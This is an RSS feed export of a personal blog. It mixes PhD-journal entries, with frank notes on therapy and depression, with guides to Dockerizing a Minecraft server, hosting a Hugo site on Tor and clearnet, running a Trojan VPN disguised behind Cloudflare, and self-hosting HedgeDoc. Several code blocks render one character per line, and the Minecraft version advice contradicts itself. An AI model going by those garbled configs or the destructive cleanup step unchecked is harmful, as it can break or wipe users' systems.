    P.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I’m worth more than that. :) In my therapy session I remembered that in each of these so called “not dates” we had a conversation about “her”, and she was dumping her emotional baggage on me, just like what happened this last time that confused me.

    +]]>
    September '25http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/september_2025/Tue, 30 Sep 2025 09:48:21 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/september_2025/<p>I started the month by finalizing my draft for Conext Student workshop. +Let&rsquo;s cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I&rsquo;d have until 30th to do the camera ready stuff which should be plenty of time.</p> +<p>I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too!</p>I started the month by finalizing my draft for Conext Student workshop. +Let’s cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I’d have until 30th to do the camera ready stuff which should be plenty of time.

    +

    I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too!

    +

    Surprise surprize, the notification did not come and it’s the last day of the month. +Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog. +I’ve been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October… +Drat!

    +

    I will probably do more literature review this last day of the month, and start working on the code base from next month. +I should do a lot more literature review to be caught up with whatever that’s been done so far.

    +

    My social life has been much more exciting too. +I’ve been socializing a lot more and have made many new friends. +Some other exciting things have also been hapening that I don’t have the courage to write about now. ;) +Buuuuuut… I will probably write about them at some point if things go the way I hope theuy would. +Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :)

    +

    And with that, that’s my September in a nutshell. +I will probably start writing through the month and then turn the draft into a post from now on. +That way it would look like a story!

    +]]>
    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    + + + +
    + + + + +/ +d +e +v +/ +m +a +p +p +e +r +/ +u +b +u +n +t +u +- +- +v +g +- +v +a +r +3 +. +9 +G +3 +. +4 +G +3 +3 +3 +M +9 +2 +% +v +a +r + + + + +
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    + + + +
    + + + +S +t +a +r +t +i +n +g +m +i +n +e +c +r +a +f +t +s +e +r +v +e +r +v +e +r +s +i +o +n +1 +. +2 +1 +. +9 +P +r +e +- +R +e +l +e +a +s +e +2 + + + + +
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +]]>
    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    + + + +
    + + + + + + +H +H +i +i +d +d +d +d +e +e +n +n +S +S +e +e +r +r +v +v +i +i +c +c +e +e +D +P +i +o +r +r +t +v +8 +a +0 +r +/ +1 +l +2 +i +7 +b +. +0 +t +. +o +0 +r +. +1 +h +: +i +3 +d +3 +d +0 +e +1 +n +_ +s +i +t +e +/ + + + + +
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    + + + +
    + + + +/ +/ +e +e +t +t +c +c +/ +/ +l +l +e +e +t +t +s +s +e +e +n +n +c +c +r +r +y +y +p +p +t +t +/ +/ +l +l +i +i +v +v +e +e +/ +/ +b +b +l +l +o +o +g +g +. +. +a +a +l +l +i +i +p +p +o +o +u +u +r +r +i +i +m +m +j +j +o +o +u +u +r +r +n +n +e +e +y +y +s +s +. +. +i +i +r +r +/ +/ +f +p +u +r +l +i +l +v +c +k +h +e +a +y +i +. +n +p +. +e +p +m +e +m + + + + +
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +]]>
    Stealth Trojan VPN Behind Cloudflare Guidehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    + + + +
    + + + +C +l +i +e +n +t + +C +l +o +u +d +f +l +a +r +e +( +4 +4 +3 +) + +N +g +i +n +x +( +4 +4 +3 +) + +T +r +o +j +a +n +( +l +o +c +a +l +h +o +s +t +: +5 +4 +3 +2 +1 +) + + + + +
    +
    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    + + + +
    + + + +t +r +o +j +a +n +: +/ +/ +< +P +A +S +S +W +O +R +D +> +@ +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +: +4 +4 +3 +? +t +y +p +e += +w +s +& +s +e +c +u +r +i +t +y += +t +l +s +& +h +o +s +t += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +& +p +a +t +h += +% +2 +F +s +t +e +a +l +t +h +- +p +a +t +h +_ +a +b +c +d +1 +2 +3 +4 +& +s +n +i += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +# +M +y +S +t +e +a +l +t +h +V +P +N + + + + +
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +]]>
    Augest '25http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/augest_2025/Sun, 31 Aug 2025 07:49:24 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/augest_2025/<p>This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life!</p>This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life!

    +

    Overall not the most productive month, but one reason for it is that I have’t really had a real vacation in a long time. +I will be taking a 10 day vacation next month just to reset, and gain back my power. +I cross my fingers for the month ahead!

    +

    My social life has been becoming better too. +I’ve been trying to attend more ZiS events to meet people, make new connections, and to have fun! +My depression is a serious issue. +I also have anxiety disorder that I’m talking with my therapist about. +I will most likely start taking SSRIs once again. +Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them. +I’m really glad I was able to recover, though it was not easy at all, it did work out.

    +

    I do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much. +Things will workout!

    +]]>
    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypthttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/Fri, 29 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p>HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
